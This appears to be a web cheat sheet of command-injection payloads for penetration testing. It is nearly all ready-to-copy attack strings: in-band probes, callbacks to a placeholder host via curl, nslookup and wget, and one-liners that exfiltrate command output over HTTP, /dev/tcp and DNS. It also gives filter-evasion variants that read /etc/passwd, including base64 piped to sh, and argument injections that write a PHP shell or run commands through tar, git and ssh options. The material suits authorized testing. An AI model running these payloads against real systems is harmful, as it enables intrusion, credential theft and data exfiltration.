The cheapest possible check. Look before you build a callback.
If the command's output comes back in the response you get an instant, readable, report-ready answer with no infrastructure at all. Try this first — it costs one request.
IN-BAND — LOOK FOR OUTPUT8
;id
COPY
|idPipes the original command's output into yours, so you often see only your result.
COPY
||idRuns only if the original command failed — useful when your injection broke it.
COPY
&&id
COPY
$(id)
COPY
`id`
COPY
;whoami
COPY
& whoamiWindows.
COPY
What a hit looks like — uid=33(www-data) in the body, a Windows username, or the page rendering with an extra line that wasn't there. Also watch for a shorter response: |id replaces the original output rather than adding to it.
02Nothing came back — confirm out-of-band
Now build a channel. Out-of-band beats time-based when the box can reach the network.
OUT-OF-BAND CONFIRM7
;curl {{CALLBACK}}
COPY
|curl {{CALLBACK}}
COPY
$(curl {{CALLBACK}})
COPY
`curl {{CALLBACK}}`
COPY
;nslookup {{CALLBACK}}DNS often escapes where HTTP does not. Try this when curl gets nothing.
COPY
;ping -c1 {{CALLBACK}}-c1 on Linux, -n1 on Windows. Without it you hang the request.
COPY
;wget -qO- {{CALLBACK}}When curl is not installed.
COPY
TIME-BASED — LAST RESORT5
;sleep 5
COPY
|sleep 5
COPY
$(sleep 5)
COPY
;ping -c5 127.0.0.1Where sleep is unavailable or filtered.
COPY
& timeout 5Windows.
COPY
Baseline first. Time the endpoint with a zero-second sleep before you believe a five-second one, and send the pair — sleep 0 then sleep 5 — so the difference is your evidence rather than the absolute number.
03Separators
Which one works tells you how your input is being used.
SHELL SEPARATORS9
;Runs regardless of what came before.
COPY
&&Runs only if the first command succeeded.
COPY
||Runs only if the first command failed — useful when your injection breaks the original.
COPY
|Pipes, so the original command's output feeds yours.
COPY
%0aNewline. Frequently survives where ; and & are filtered.
COPY
%0d%0a
COPY
`command`
COPY
$(command)
COPY
${IFS}Not a separator, but the standard way past a space filter.
COPY
EXFILTRATE THE OUTPUT4
;id|curl -d @- {{CALLBACK}}
COPY
;curl {{CALLBACK}}/$(id|base64 -w0)Output in the path. Base64 avoids characters that break the URL.
COPY
;id > /dev/tcp/{{IP}}/{{PORT}}Bash built-in, no binaries needed.
COPY
;nslookup $(whoami).{{CALLBACK}}DNS exfiltration, one label at a time. Slow but it gets through most egress filters.
COPY
04Getting past a filter
NO SPACES5
{cat,/etc/passwd}
COPY
cat</etc/passwd
COPY
cat$IFS/etc/passwd
COPY
cat${IFS}/etc/passwd
COPY
X=$'\x20';cat${X}/etc/passwd
COPY
BROKEN-UP KEYWORDS7
c''at /etc/passwd
COPY
c""at /etc/passwd
COPY
c\at /etc/passwd
COPY
/bin/c?t /etc/passwdGlob. Matches cat, and the filter's literal string never appears.
COPY
/???/c?t /etc/p?sswd
COPY
$'\x63\x61\x74' /etc/passwd
COPY
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh
COPY
WINDOWS6
& whoami
COPY
&& whoami
COPY
| whoami
COPY
;whoamiPowerShell only, not cmd.
COPY
^&^& whoamiCaret is the cmd escape character — splits the keyword for a filter.
COPY
w^h^o^a^m^i
COPY
Windows cmd and PowerShell take different separators. If ; does nothing but & works, you're in cmd — which also tells you sleep won't exist and you want timeout instead.
05Argument injection
No shell involved, but you control an argument. Often missed entirely.
ARGUMENT INJECTION7
curl
-o /var/www/html/shell.phpWrites the response body wherever the process can write.
COPY
curl
--upload-file /etc/passwd
COPY
tar
--to-command=idRuns a command per file extracted.
COPY
zip
--unzip-command="sh -c id"
COPY
find
-exec id ;
COPY
git
--upload-pack='sh -c id'
COPY
ssh
-oProxyCommand=idAlso works via git clone ssh://... in some wrappers.
COPY
This is where an application that carefully avoids system() still hands you execution, because it passes your filename straight into an argument array. Look for it anywhere a file name, URL or hostname is forwarded to a binary.